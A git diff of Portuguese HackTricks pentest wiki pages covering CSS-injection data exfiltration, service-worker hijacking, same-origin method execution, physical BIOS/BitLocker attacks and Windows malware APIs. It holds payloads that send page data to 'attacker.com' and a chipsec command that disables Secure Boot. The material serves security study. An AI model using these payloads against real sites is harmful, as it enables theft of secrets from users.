1. O servidor dos atacantes não responderá a esta solicitação ainda, pois queremos vazar alguns caracteres e então responder a esta importação com a carga útil para vazar os próximos.
3. A segunda e maior parte da carga útil será um **payload de vazamento de seletor de atributo**
1. Isso enviará ao servidor dos atacantes o **primeiro caractere do segredo e o último**
4. Uma vez que o servidor dos atacantes tenha recebido o **primeiro e último caractere do segredo**, ele irá **responder a importação solicitada no passo 2**.
1. A resposta será exatamente a mesma que os **passos 2, 3 e 4**, mas desta vez tentará **encontrar o segundo caractere do segredo e então o penúltimo**.
4. Uma vez que o servidor dos atacantes tenha recebido o **primeiro e o último caractere do segredo**, ele **responderá à importação solicitada no passo 2**.
1. A resposta será exatamente a mesma que os **passos 2, 3 e 4**, mas desta vez tentará **encontrar o segundo caractere do segredo e depois o penúltimo**.
O atacante irá **seguir esse loop até conseguir vazar completamente o segredo**.
O atacante **seguirá esse loop até conseguir vazar completamente o segredo**.
Você pode encontrar o [**código original de Pepe Vila para explorar isso aqui**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou você pode encontrar quase o [**mesmo código, mas comentado aqui**.](./#css-injection)
@ -121,7 +114,7 @@ Sem preocupações, apenas verifique a **saída** porque **você pode ver a flag
Outras maneiras de acessar partes do DOM com **seletores CSS**:
* **`.class-to-search:nth-child(2)`**: Isso irá buscar o segundo item com a classe "class-to-search" no DOM.
* **`:empty`** seletor: Usado, por exemplo, em [**este writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
* **`:empty`** seletor: Usado por exemplo em [**este writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
```css
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
@ -184,7 +177,7 @@ Para mitigação, os seguintes pontos devem ser observados:
1. **Correspondência STTF Constrangida**: O Fragmento Scroll-to-text (STTF) é projetado para corresponder apenas a palavras ou frases, limitando assim sua capacidade de vazar segredos ou tokens arbitrários.
2. **Restrição a Contextos de Navegação de Nível Superior**: O STTF opera exclusivamente em contextos de navegação de nível superior e não funciona dentro de iframes, tornando qualquer tentativa de exploração mais perceptível para o usuário.
3. **Necessidade de Ativação do Usuário**: O STTF requer um gesto de ativação do usuário para operar, o que significa que as explorações são viáveis apenas através de navegações iniciadas pelo usuário. Esse requisito mitiga consideravelmente o risco de ataques serem automatizados sem interação do usuário. No entanto, o autor do post do blog aponta condições específicas e contornos (por exemplo, engenharia social, interação com extensões de navegador prevalentes) que podem facilitar a automação do ataque.
3. **Necessidade de Ativação do Usuário**: O STTF requer um gesto de ativação do usuário para operar, o que significa que as explorações são viáveis apenas por meio de navegações iniciadas pelo usuário. Esse requisito mitiga consideravelmente o risco de ataques serem automatizados sem interação do usuário. No entanto, o autor do post do blog aponta condições específicas e contornos (por exemplo, engenharia social, interação com extensões de navegador prevalentes) que podem facilitar a automação do ataque.
A conscientização sobre esses mecanismos e vulnerabilidades potenciais é fundamental para manter a segurança na web e proteger contra táticas exploratórias.
@ -194,7 +187,7 @@ Você pode conferir um [**exploit usando esta técnica para um CTF aqui**](https
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
Você pode especificar **fontes externas para valores unicode específicos** que serão **coletados apenas se esses valores unicode estiverem presentes** na página. Por exemplo:
Você pode especificar **fontes externas para valores unicode específicos** que serão **coletados se esses valores unicode estiverem presentes** na página. Por exemplo:
```html
<style>
@font-face{
@ -244,7 +237,7 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
3. **Processo de Exploração**:
- **Passo 1**: Fontes são criadas para pares de caracteres com largura substancial.
- **Passo 2**: Um truque baseado em barra de rolagem é empregado para detectar quando o glifo de largura grande (ligadura para um par de caracteres) é renderizado, indicando a presença da sequência de caracteres.
- **Passo 2**: Um truque baseado em barra de rolagem é empregado para detectar quando o glifo de grande largura (ligadura para um par de caracteres) é renderizado, indicando a presença da sequência de caracteres.
- **Passo 3**: Ao detectar uma ligadura, novos glifos representando sequências de três caracteres são gerados, incorporando o par detectado e adicionando um caractere anterior ou posterior.
- **Passo 4**: A detecção da ligadura de três caracteres é realizada.
- **Passo 5**: O processo se repete, revelando progressivamente todo o texto.
@ -257,7 +250,7 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
**Referência:** [PoC usando Comic Sans por @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Esse truque foi lançado neste [**thread do Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). O charset usado em um nó de texto pode ser vazado **usando as fontes padrão** instaladas no navegador: nenhuma fonte externa -ou personalizada- é necessária.
Esse truque foi lançado neste [**thread do Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). O charset usado em um nó de texto pode ser vazado **usando as fontes padrão** instaladas no navegador: não são necessárias fontes externas -ou personalizadas-.
O conceito gira em torno da utilização de uma animação para expandir gradualmente a largura de um `div`, permitindo que um caractere de cada vez transite da parte 'sufixo' do texto para a parte 'prefixo'. Esse processo efetivamente divide o texto em duas seções:
@ -280,11 +273,11 @@ B
Durante essa transição, o **truque unicode-range** é empregado para identificar cada novo caractere à medida que se junta ao prefixo. Isso é alcançado mudando a fonte para Comic Sans, que é notavelmente mais alta do que a fonte padrão, acionando assim uma barra de rolagem vertical. A aparição dessa barra de rolagem revela indiretamente a presença de um novo caractere no prefixo.
Embora esse método permita a detecção de caracteres únicos à medida que aparecem, não especifica qual caractere é repetido, apenas que uma repetição ocorreu.
Embora esse método permita a detecção de caracteres únicos à medida que aparecem, não especifica qual caractere está sendo repetido, apenas que uma repetição ocorreu.
{% hint style="info" %}
Basicamente, o **unicode-range é usado para detectar um char**, mas como não queremos carregar uma fonte externa, precisamos encontrar outra maneira.\
Quando o **char** é **encontrado**, ele é **dado** a fonte **Comic Sans** pré-instalada, que **faz** o char **maior** e **aciona uma barra de rolagem** que **vazará o char encontrado**.
Quando o **char** é **encontrado**, ele é **dado** a fonte **Comic Sans** pré-instalada, que **torna** o char **maior** e **aciona uma barra de rolagem** que irá **vazar o char encontrado**.
{% endhint %}
Verifique o código extraído do PoC:
@ -412,11 +405,11 @@ div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### Exfiltração de nó de texto (III): vazando o charset com uma fonte padrão ao ocultar elementos (não requerendo ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Exfiltração de nó de texto (III): vazando o charset com uma fonte padrão ao esconder elementos (não requerendo ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referência:** Isso é mencionado como [uma solução malsucedida neste relatório](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Este caso é muito semelhante ao anterior, no entanto, neste caso o objetivo de fazer **chars específicos maiores que outros é ocultar algo** como um botão para não ser pressionado pelo bot ou uma imagem que não será carregada. Assim, poderíamos medir a ação (ou a falta da ação) e saber se um char específico está presente dentro do texto.
Este caso é muito semelhante ao anterior, no entanto, neste caso o objetivo de fazer **chars específicos maiores que outros é esconder algo** como um botão para não ser pressionado pelo bot ou uma imagem que não será carregada. Assim, poderíamos medir a ação (ou a falta da ação) e saber se um char específico está presente dentro do texto.
### Exfiltração de nó de texto (III): vazando o charset por tempo de cache (não requerendo ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
@ -434,7 +427,7 @@ Se houver uma correspondência, a **fonte será carregada de `/static/bootstrap.
No entanto, se a diferença de tempo da resposta em cache em relação à não em cache não for grande o suficiente, isso não será útil. Por exemplo, o autor mencionou: No entanto, após testar, descobri que o primeiro problema é que a velocidade não é muito diferente, e o segundo problema é que o bot usa a flag `disk-cache-size=1`, o que é realmente atencioso.
### Exfiltração de nó de texto (III): vazando o charset ao carregar centenas de "fontes" locais (não requerendo ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Exfiltração de nó de texto (III): vazando o charset ao cronometrar o carregamento de centenas de "fontes" locais (não requerendo ativos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referência:** Isso é mencionado como [uma solução malsucedida neste relatório](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
@ -464,15 +457,9 @@ Então, se a fonte não corresponder, o tempo de resposta ao visitar o bot deve
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -480,7 +467,7 @@ Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Basic Information
Um **service worker** é um script executado pelo seu navegador em segundo plano, separado de qualquer página da web, permitindo recursos que não requerem uma página da web ou interação do usuário, melhorando assim as capacidades de **processamento offline e em segundo plano**. Informações detalhadas sobre service workers podem ser encontradas [aqui](https://developers.google.com/web/fundamentals/primers/service-workers). Ao explorar service workers dentro de um domínio web vulnerável, os atacantes podem obter controle sobre as interações da vítima com todas as páginas dentro desse domínio.
@ -67,7 +59,7 @@ xhttp2.send();
});
</script>
```
Em caso de abusar de um endpoint JSONP vulnerável, você deve colocar o valor dentro de `var sw`. Por exemplo:
No caso de abusar de um endpoint JSONP vulnerável, você deve colocar o valor dentro de `var sw`. Por exemplo:
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
@ -113,12 +105,6 @@ Para um exemplo disso, confira o link de referência.
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -10,28 +10,14 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode conferir o site deles e experimentar o motor gratuitamente em:
{% embed url="https://whiteintel.io" %}
***
## Execução de Método de Mesma Origem
Haverá ocasiões em que você pode executar um javascript limitado em uma página. Por exemplo, no caso em que você pode [**controlar um valor de callback que será executado**](./#javascript-function).
Haverá ocasiões em que você pode executar algum javascript limitado em uma página. Por exemplo, no caso em que você pode [**controlar um valor de callback que será executado**](./#javascript-function).
Nesses casos, uma das melhores coisas que você pode fazer é **acessar o DOM para chamar qualquer** ação sensível que você encontrar lá (como clicar em um botão). No entanto, geralmente você encontrará essa vulnerabilidade em **pequenos endpoints sem nada interessante no DOM**.
@ -47,7 +33,7 @@ Basicamente, o fluxo do ataque é o seguinte:
* A **segunda página** carregará a **página vulnerável abusando do callback** e usando o objeto **`opener`** para **acessar e executar alguma ação na página inicial** (que agora contém o DOM interessante).
{% hint style="danger" %}
Note que mesmo se a página inicial acessar uma nova URL após ter criado a segunda página, o **objeto `opener` da segunda página ainda é uma referência válida para a primeira página no novo DOM**.
Observe que mesmo se a página inicial acessar uma nova URL após ter criado a segunda página, o **objeto `opener` da segunda página ainda é uma referência válida para a primeira página no novo DOM**.
Além disso, para que a segunda página possa usar o objeto opener, **ambas as páginas devem estar na mesma origem**. Esta é a razão pela qual, para abusar dessa vulnerabilidade, você precisa encontrar algum tipo de **XSS na mesma origem**.
{% endhint %}
@ -60,7 +46,7 @@ Além disso, para que a segunda página possa usar o objeto opener, **ambas as p
### Exemplo
* Você pode encontrar um exemplo vulnerável em [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)
* Note que neste exemplo o servidor está **gerando código javascript** e **adicionando** ao HTML com base no **conteúdo do parâmetro de callback:** `<script>opener.{callbacl_content}</script>`. É por isso que neste exemplo você não precisa indicar o uso de `opener` explicitamente.
* Observe que neste exemplo o servidor está **gerando código javascript** e **adicionando** ao HTML com base no **conteúdo do parâmetro de callback:** `<script>opener.{callbacl_content}</script>`. É por isso que neste exemplo você não precisa indicar o uso de `opener` explicitamente.
* Confira também este writeup de CTF: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
## Referências
@ -77,7 +63,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -6,7 +6,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
<details>
<summary>Suporte ao HackTricks</summary>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -15,37 +15,23 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
---
## Recuperação de Senha da BIOS e Segurança do Sistema
**Redefinir a BIOS** pode ser feito de várias maneiras. A maioria das placas-mãe inclui uma **bateria** que, quando removida por cerca de **30 minutos**, redefinirá as configurações da BIOS, incluindo a senha. Alternativamente, um **jumper na placa-mãe** pode ser ajustado para redefinir essas configurações conectando pinos específicos.
Para situações em que ajustes de hardware não são possíveis ou práticos, **ferramentas de software** oferecem uma solução. Executar um sistema a partir de um **Live CD/USB** com distribuições como **Kali Linux** fornece acesso a ferramentas como **_killCmos_** e **_CmosPWD_**, que podem ajudar na recuperação da senha da BIOS.
Nos casos em que a senha da BIOS é desconhecida, inseri-la incorretamente **três vezes** geralmente resultará em um código de erro. Esse código pode ser usado em sites como [https://bios-pw.org](https://bios-pw.org) para potencialmente recuperar uma senha utilizável.
Nos casos em que a senha da BIOS é desconhecida, inseri-la incorretamente **três vezes** geralmente resultará em um código de erro. Este código pode ser usado em sites como [https://bios-pw.org](https://bios-pw.org) para potencialmente recuperar uma senha utilizável.
### Segurança UEFI
Para sistemas modernos que usam **UEFI** em vez da BIOS tradicional, a ferramenta **chipsec** pode ser utilizada para analisar e modificar configurações UEFI, incluindo a desativação do **Secure Boot**. Isso pode ser realizado com o seguinte comando:
Para sistemas modernos que utilizam **UEFI** em vez da BIOS tradicional, a ferramenta **chipsec** pode ser utilizada para analisar e modificar configurações UEFI, incluindo a desativação do **Secure Boot**. Isso pode ser realizado com o seguinte comando:
`python chipsec_main.py -module exploits.secure.boot.pk`
### Análise de RAM e Ataques de Cold Boot
A RAM retém dados brevemente após a interrupção da energia, geralmente por **1 a 2 minutos**. Essa persistência pode ser estendida para **10 minutos** aplicando substâncias frias, como nitrogênio líquido. Durante esse período estendido, um **dump de memória** pode ser criado usando ferramentas como **dd.exe** e **volatility** para análise.
A RAM retém dados brevemente após a energia ser cortada, geralmente por **1 a 2 minutos**. Essa persistência pode ser estendida para **10 minutos** aplicando substâncias frias, como nitrogênio líquido. Durante esse período estendido, um **dump de memória** pode ser criado usando ferramentas como **dd.exe** e **volatility** para análise.
### Ataques de Acesso Direto à Memória (DMA)
@ -62,8 +48,8 @@ Alterar binários do sistema como **_sethc.exe_** ou **_Utilman.exe_** com uma c
#### Atalhos de Inicialização e Recuperação
- **Supr**: Acessar configurações da BIOS.
- **F8**: Entrar no modo de recuperação.
- Pressionar **Shift** após a faixa do Windows pode contornar o autologon.
- **F8**: Entrar no modo de Recuperação.
- Pressionar **Shift** após a bandeira do Windows pode contornar o autologon.
#### Dispositivos BAD USB
@ -81,25 +67,13 @@ A criptografia BitLocker pode potencialmente ser contornada se a **senha de recu
Uma nova chave de recuperação do BitLocker pode ser adicionada através de táticas de engenharia social, convencendo um usuário a executar um comando que adiciona uma nova chave de recuperação composta de zeros, simplificando assim o processo de descriptografia.
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Suporte ao HackTricks</summary>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -1,28 +1,20 @@
# API Comum Usada em Malware
# Common API used in Malware
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Genérico
### Rede
@ -68,7 +60,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
| GlobalMemoryStatusEx() | |
| GetVersion() | |
| CreateToolhelp32Snapshot \[Verificar se um processo está em execução] | |
| CreateFileW/A \[Verificar se um arquivo existe] | |
| CreateFileW/A \[Verificar se um arquivo existe] | |
### Stealth
@ -151,29 +143,23 @@ O malware irá desmapear o código legítimo da memória do processo e carregar
## Hooking
* A **SSDT** (**Tabela de Descritores de Serviço do Sistema**) aponta para funções do kernel (ntoskrnl.exe) ou driver GUI (win32k.sys) para que processos de usuário possam chamar essas funções.
* Um rootkit pode modificar esses ponteiros para endereços que ele controla.
* **IRP** (**Pacotes de Solicitação de I/O**) transmitem pedaços de dados de um componente para outro. Quase tudo no kernel usa IRPs e cada objeto de dispositivo tem sua própria tabela de funções que pode ser hookada: DKOM (Manipulação Direta de Objetos do Kernel).
* Um rootkit pode modificar esses ponteiros para endereços que ele controla
* **IRP** (**Pacotes de Solicitação de I/O**) transmitem pedaços de dados de um componente para outro. Quase tudo no kernel usa IRPs e cada objeto de dispositivo tem sua própria tabela de funções que pode ser hookada: DKOM (Manipulação Direta de Objetos do Kernel)
* A **IAT** (**Tabela de Endereços de Importação**) é útil para resolver dependências. É possível hookar esta tabela para sequestrar o código que será chamado.
* **EAT** (**Tabela de Endereços de Exportação**) Hooks. Esses hooks podem ser feitos a partir do **userland**. O objetivo é hookar funções exportadas por DLLs.
* **Inline Hooks**: Este tipo é difícil de alcançar. Isso envolve modificar o código das próprias funções. Talvez colocando um salto no início disso.
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
* **Inline Hooks**: Este tipo é difícil de alcançar. Isso envolve modificar o código das próprias funções. Talvez colocando um salto no início delas.
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,14 +15,6 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Ferramentas de Reversão Baseadas em ImGui
Software:
@ -63,12 +55,12 @@ Com um modelo de add-in abrangente e uma API que estende a ferramenta para atend
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
